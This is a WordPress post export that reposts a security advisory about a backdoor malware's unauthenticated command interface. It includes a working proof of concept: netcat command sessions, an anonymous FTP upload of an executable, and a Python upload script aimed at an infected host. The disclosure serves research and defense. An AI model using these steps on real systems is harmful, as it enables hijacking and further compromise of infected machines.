{"id":58815,"date":"2024-08-12T19:40:37","date_gmt":"2024-08-12T16:40:37","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180059\/MVID-2024-0687.txt"},"modified":"2024-08-12T19:40:37","modified_gmt":"2024-08-12T16:40:37","slug":"backdoor-win32-nightmare-25-mvid-2024-0687-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/backdoor-win32-nightmare-25-mvid-2024-0687-code-execution\/","title":{"rendered":"Backdoor.Win32.Nightmare.25 MVID-2024-0687 Code Execution"},"content":{"rendered":"<p>Discovery \/ credits: Malvuln (John Page aka hyp3rlinx) (c) 2024<br \/>Original source: https:\/\/malvuln.com\/advisory\/0fe8f37543e8face08941899add38e35.txt<br \/>Contact: malvuln13@gmail.com<br \/>Media: x.com\/malvuln <\/p>\n<p>Threat: Backdoor.Win32.Nightmare.25<br \/>Vulnerability: Unauthenticated Remote Command Execution<br \/>Family: Nightmare<br \/>Type: PE32<br \/>MD5: 0fe8f37543e8face08941899add38e35<br \/>SHA256: 591e348b2c1f25a23f0acf55ba10a71957683b54a5682902c2fa179ba278fff6<br \/>Vuln ID: MVID-2024-0687<br \/>Disclosure: 08\/09\/2024<br \/>Description: The malware listens on TCP ports 666, 5401 and 5402. Third party adversaries who can reach an infected host on TCP port 666 can issue commands made available by the backdoor. The FTPON command starts an FTP service on TCP port 21, supply any single character after the command E.g. &#8220;FTPON x&#8221;. Furthermore, the FTP server allows for any username\/password combination for authentication. Attackers can then upload their own executable to the victim machine using the FTP STOR command. This can undermine the initial adversary intrusion allowing potential takeover by a totally different attacking entity.<\/p>\n<p>Commands available:<br \/>RUN (run programs)<br \/>FTPON x (starts FTP)<br \/>SHOWCHAT x<br \/>LOGOFF x (logs out current user)<br \/>KILLAPP<br \/>LISTAPP<br \/>KILL x (shuts down the backdoor)<\/p>\n<p>Exploit\/PoC:<br \/>nc64.exe 192.168.18.125 666<\/p>\n<p>RUN MSPAINT.EXE<br \/>Program executed<\/p>\n<p>FTPON x<br \/>FTP Port open<\/p>\n<p>FTPOFF x<br \/>FTP Port close<\/p>\n<p>SHOWCHAT x<br \/>Chat is visible (will launch a chat terminal on the slave)<\/p>\n<p>HIDECHAT x<br \/>Chat is invisible<\/p>\n<p>LISTAPP x<br \/>*File: Backdoor.Win32.Nightmare.25.0fe8f37543e8face08941899add38e35.exe &#8211; PID: 4284<br \/>*Process Hacker [DESKTOP-2C4IQJO\\VICTIM]+ (Administrator)<br \/>*dump<br \/>*Administrator: Administrator Command Prompt<br \/>*Program Manager <\/p>\n<p>KILL x <br \/>Server not anymore active<\/p>\n<p>LOGOFF x<\/p>\n<p>nc64.exe 192.168.18.125 21<br \/>220 P23h FTP Server ready.<br \/>USER x<br \/>331 Password required for x.<br \/>PASS x<br \/>230 User x logged in.<br \/>SYST<br \/>215 UNIX Type: L8 Internet Component Suite<br \/>CDUP \\<br \/>250 CWD command successful. &#8220;C:\/&#8221; is current directory.<br \/>MKD TEMP<br \/>257 &#8216;C:\\TEMP&#8217;: directory created.<br \/>PASV<br \/>227 Entering Passive Mode (192,168,18,125,226,100).<br \/>STOR DOOM_SM.exe<br \/>150 Opening data connection for DOOM_SM.exe.<br \/>226 File received ok<\/p>\n<p>from socket import *<\/p>\n<p>MALWARE_HOST=&#8221;192.168.18.125&#8243;<br \/>PORT=57956 #Calculated port for file transfers 226 * 256 + 100 = 57956<br \/>DOOM=&#8221;DOOM_SM.exe&#8221;<\/p>\n<p>def doit():<br \/>s=socket(AF_INET, SOCK_STREAM)<br \/>s.connect((MALWARE_HOST, PORT))<\/p>\n<p>f = open(DOOM, &#8220;rb&#8221;)<br \/>EXE = f.read()<br \/>s.send(EXE)<\/p>\n<p>while EXE:<br \/>s.send(EXE)<br \/>EXE=f.read()<\/p>\n<p>s.close()<br \/>print(&#8220;By Malvuln&#8221;);<\/p>\n<p>if __name__==&#8221;__main__&#8221;:<br \/>doit()<\/p>\n<p>Disclaimer: The information contained within this advisory is supplied &#8220;as-is&#8221; with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Discovery \/ credits: Malvuln (John Page aka hyp3rlinx) (c) 2024Original source: https:\/\/malvuln.com\/advisory\/0fe8f37543e8face08941899add38e35.txtContact: malvuln13@gmail.comMedia: x.com\/malvuln Threat: Backdoor.Win32.Nightmare.25Vulnerability: Unauthenticated Remote Command ExecutionFamily: NightmareType: PE32MD5: 0fe8f37543e8face08941899add38e35SHA256: 591e348b2c1f25a23f0acf55ba10a71957683b54a5682902c2fa179ba278fff6Vuln ID: MVID-2024-0687Disclosure: 08\/09\/2024Description: The malware listens on TCP ports 666, 5401 and 5402. Third party adversaries who can reach an infected host on TCP port 666 can issue commands made available &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58815","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58815","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58815"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58815\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58815"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58815"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58815"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}